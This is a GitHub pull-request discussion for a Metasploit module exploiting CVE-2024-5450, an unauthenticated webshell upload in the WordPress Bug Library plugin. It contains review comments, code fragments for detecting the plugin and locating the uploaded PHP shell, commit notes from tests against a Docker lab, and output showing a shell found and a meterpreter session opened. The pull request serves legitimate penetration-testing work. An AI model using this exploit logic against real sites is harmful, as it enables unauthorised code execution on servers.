Add WordPress Bug Library < 2.1.1 unauthenticated file upload RCE module (CVE-2024-5450) - #21716
Add WordPress Bug Library < 2.1.1 unauthenticated file upload RCE module (CVE-2024-5450)#21716TrinityBerserker wants to merge 4 commits into
Conversation
| check_result = check | ||
| unless check_result == CheckCode::Appears | ||
| fail_with(Failure::NotVulnerable, | ||
| 'Bug Library plugin was not detected on this target. ' \ | ||
| 'Verify the plugin is installed and active.') | ||
| end |
There was a problem hiding this comment.
| check_result = check | |
| unless check_result == CheckCode::Appears | |
| fail_with(Failure::NotVulnerable, | |
| 'Bug Library plugin was not detected on this target. ' \ | |
| 'Verify the plugin is installed and active.') | |
| end |
| check_result = check | |
| unless check_result == CheckCode::Appears | |
| fail_with(Failure::NotVulnerable, | |
| 'Bug Library plugin was not detected on this target. ' \ | |
| 'Verify the plugin is installed and active.') | |
| end |
Prepending autocheck will automatically call check unless the user specifically disables it.
I don't think you're setting anything required for t
| print_status('Retrieving valid product/type term IDs from the bug-submission form...') | ||
| product_id, type_id = get_form_term_ids | ||
| print_status("Using product_id=#{product_id}, type_id=#{type_id}") | ||
|
|
||
| # 3. Note the highest post ID before we create ours | ||
| print_status('Determining current post ID baseline...') | ||
| baseline = get_baseline_post_id | ||
| print_status("Post ID baseline: #{baseline}. " \ | ||
| "Will search up to #{baseline + datastore['MAX_POST_SEARCH']}.") |
There was a problem hiding this comment.
| print_status('Retrieving valid product/type term IDs from the bug-submission form...') | |
| product_id, type_id = get_form_term_ids | |
| print_status("Using product_id=#{product_id}, type_id=#{type_id}") | |
| # 3. Note the highest post ID before we create ours | |
| print_status('Determining current post ID baseline...') | |
| baseline = get_baseline_post_id | |
| print_status("Post ID baseline: #{baseline}. " \ | |
| "Will search up to #{baseline + datastore['MAX_POST_SEARCH']}.") | |
| vprint_status('Retrieving valid product/type term IDs from the bug-submission form...') | |
| product_id, type_id = get_form_term_ids | |
| vprint_status("Using product_id=#{product_id}, type_id=#{type_id}") | |
| # 3. Note the highest post ID before we create ours | |
| vprint_status('Determining current post ID baseline...') | |
| baseline = get_baseline_post_id | |
| vprint_status("Post ID baseline: #{baseline}. " \ | |
| "Will search up to #{baseline + datastore['MAX_POST_SEARCH']}.") |
Minor and optional- no need to print diagnostics all the time. Users can request more verbose output by selecting verbose=true
| next unless probe && probe.code == 200 | ||
|
|
||
| shell_uri = uri | ||
| register_file_for_cleanup(uri) |
There was a problem hiding this comment.
register_file_for_cleanup attempts to clean up via the established session running locally. Will the uri value here make sense to the payload running locally?
| end | ||
|
|
||
| unless shell_uri | ||
| fail_with(Failure::NotFound, |
There was a problem hiding this comment.
Is it possible to delete the payload via the web interface in case the exploit fails?
|
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools. We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit: You can automate most of these changes with the Please update your branch after these have been made, and reach out if you have any problems. |
e728ab1 to
2323910
Compare
|
Hi @bwatters-r7, thank you for the detailed review! I've addressed all four points:
Rubocop and msftidy both pass clean now. Ready for re-review! |
|
I am not entirely clear on this failure: I'll need to do a little hunting on that one. I don't see any hidden chars, though if there is some kind of bespoke encoding, that also might cause an issue. |
bwatters-r7
left a comment
There was a problem hiding this comment.
This should fix the failing spec tests.
AutoCheck has a capital C and there was a stray unicode em-dash in the description.
2323910 to
01d3451
Compare
|
Hi @bwatters-r7, thanks for the detailed feedback! Here's a summary of what was updated:
For a future follow-up: it would be possible to implement session-based cleanup using Additionally:
|
01d3451 to
2b46b19
Compare
Would you be willing to add that here? Keep the HTTP delete if the exploit fails, but use the full (or relative) path for |
2b46b19 to
4731467
Compare
|
Done! Added One potential future improvement: the |
|
Hi @bwatters-r7, just checking in let me know if there's anything else needed on my end. Happy to make any additional changes! |
- Fix crash: exploit() called `if session`, but no `session` accessor exists on this module's ancestor chain, so it raised NoMethodError on every successful run right after triggering the payload. Replace the branch with an unconditional register_file_for_cleanup call, matching how FileDropper is used elsewhere (e.g. wp_holding_pattern_file_upload.rb) and how it actually works (on_new_session/cleanup() handle deletion, no session accessor needed). - Respect WPCONTENTDIR: check() and the webshell-search loop now build paths via wordpress_url_plugins/wordpress_url_uploads instead of hardcoding 'wp-content', so the module still works against installs with a renamed content directory. - Use wordpress_url_rest_api/wordpress_url_rss for baseline post-ID lookup instead of hand-built URIs, for consistency with the rest of the WordPress module ecosystem and to fix the RSS fallback (plain '/feed' 404s under default "Plain" permalinks; '?feed=rss2' does not). - Fix a false-negative/double-fire race in the webshell discovery loop: probing a candidate URI also triggers it (PHP executes on GET), so for a blocking/interactive payload (e.g. php/meterpreter/reverse_tcp) the probe on the real file stalls past its read timeout, causing the module to report Failure::NotFound even after a session already opened -- and to fire the payload a second time via the old separate "trigger" request. Use a short per-probe timeout and treat a timeout as "found it, it's busy running the payload"; drop the now-redundant separate trigger step. Verified against a live docker WordPress 6.4 + Bug Library 2.0.8 target: check() detects the plugin, exploit() uploads and triggers the webshell, and a single php/meterpreter/reverse_tcp session opens cleanly (getuid: www-data, sysinfo confirms php/linux meterpreter) -- no crash, no duplicate session.
Tried adding an HTTP DELETE-based cleanup fallback for the case where no session is established, on top of register_file_for_cleanup. Tested it against the live docker target and it doesn't work: - Against an interactive payload (php/meterpreter/reverse_tcp), the DELETE request just re-executes the PHP file the same as any other HTTP verb would, opening a second, redundant session. - Against a one-shot payload (php/exec), the DELETE "succeeds" (HTTP 200) but the file is confirmed still present on disk -- there's no WebDAV/mod_dav on a plain PHP/Apache-or-nginx target, so DELETE was never wired to filesystem deletion; PHP just runs the script again and returns its normal 200, which looks identical to a real deletion from the response code alone. Gating the DELETE on the discovery probe's timeout (as a proxy for "payload is blocking/interactive") avoids the duplicate-session case, but the false-success problem is unfixable from the client side: nothing distinguishes "the file was deleted" from "the file executed again" in the response. Documented this in a comment instead of shipping a cleanup path that duplicates exploitation or lies about its result. register_file_for_cleanup (session-based cleanup) remains the only cleanup mechanism.
Fix wp_bug_library_file_upload review findings (PR rapid7#21716)
|
Hi @bwatters-r7! I've merged your branch with the fixes into mine. Everything is updated and ready on my end for your final approval and merge. Thanks for the help! |
There was a problem hiding this comment.
Pull request overview
This PR adds a new Metasploit exploit module and accompanying documentation for CVE-2024-5450 (Bug Library WordPress plugin < 2.1.1), enabling unauthenticated arbitrary PHP file upload leading to RCE via the public bug-report submission form.
Changes:
- Added
exploit/unix/webapp/wp_bug_library_file_uploadmodule implementing upload + discovery of the resultingbugimage-<post_id>.phppayload in the uploads directory. - Added end-user module documentation covering setup, options, and example exploitation output.
Impact Analysis: isolated change; no meaningful downstream impact identified from diff.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.
| File | Description |
|---|---|
| modules/exploits/unix/webapp/wp_bug_library_file_upload.rb | New unauthenticated WordPress plugin file-upload RCE module with AutoCheck, form-field discovery, baseline post-ID heuristics, and FileDropper cleanup registration. |
| documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md | New module documentation with Docker setup, verification steps, options, and scenarios. |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| def check | ||
| res = send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(wordpress_url_plugins, 'bug-library', 'stylesheet.css') | ||
| ) | ||
|
|
||
| return CheckCode::Safe('Bug Library plugin stylesheet not found') unless res | ||
| return CheckCode::Safe("Unexpected HTTP #{res.code} for plugin stylesheet") unless res.code == 200 | ||
|
|
||
| CheckCode::Appears('Bug Library plugin detected (stylesheet.css found)') | ||
| end |
| res = send_request_cgi( | ||
| 'method' => 'GET', | ||
| 'uri' => normalize_uri(wordpress_url_rest_api, 'posts'), | ||
| 'vars_get' => { 'per_page' => '1', 'orderby' => 'id', 'order' => 'desc' } | ||
| ) | ||
|
|
||
| if res && res.code == 200 && res.body =~ /"id"\s*:\s*(\d+)/ | ||
| return ::Regexp.last_match(1).to_i | ||
| end |
| probe = send_request_cgi({ 'method' => 'GET', 'uri' => uri }, probe_timeout) | ||
| next unless probe.nil? || probe.code == 200 |
Description
This module exploits CVE-2024-5450, an unauthenticated arbitrary file upload in the Bug Library WordPress plugin (versions < 2.1.1). The bug report submission form accepts file attachments without validating the file extension, allowing an unauthenticated attacker to upload a PHP webshell and achieve RCE.
Verification Steps
Test Evidence
[] The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found)
[] Using product_id=2, type_id=3
[+] Bug report accepted by the server. Searching for the uploaded webshell...
[+] Webshell located at: http://127.0.0.1:8080/wp-content/uploads/bug-library/bugimage-6.php
Environment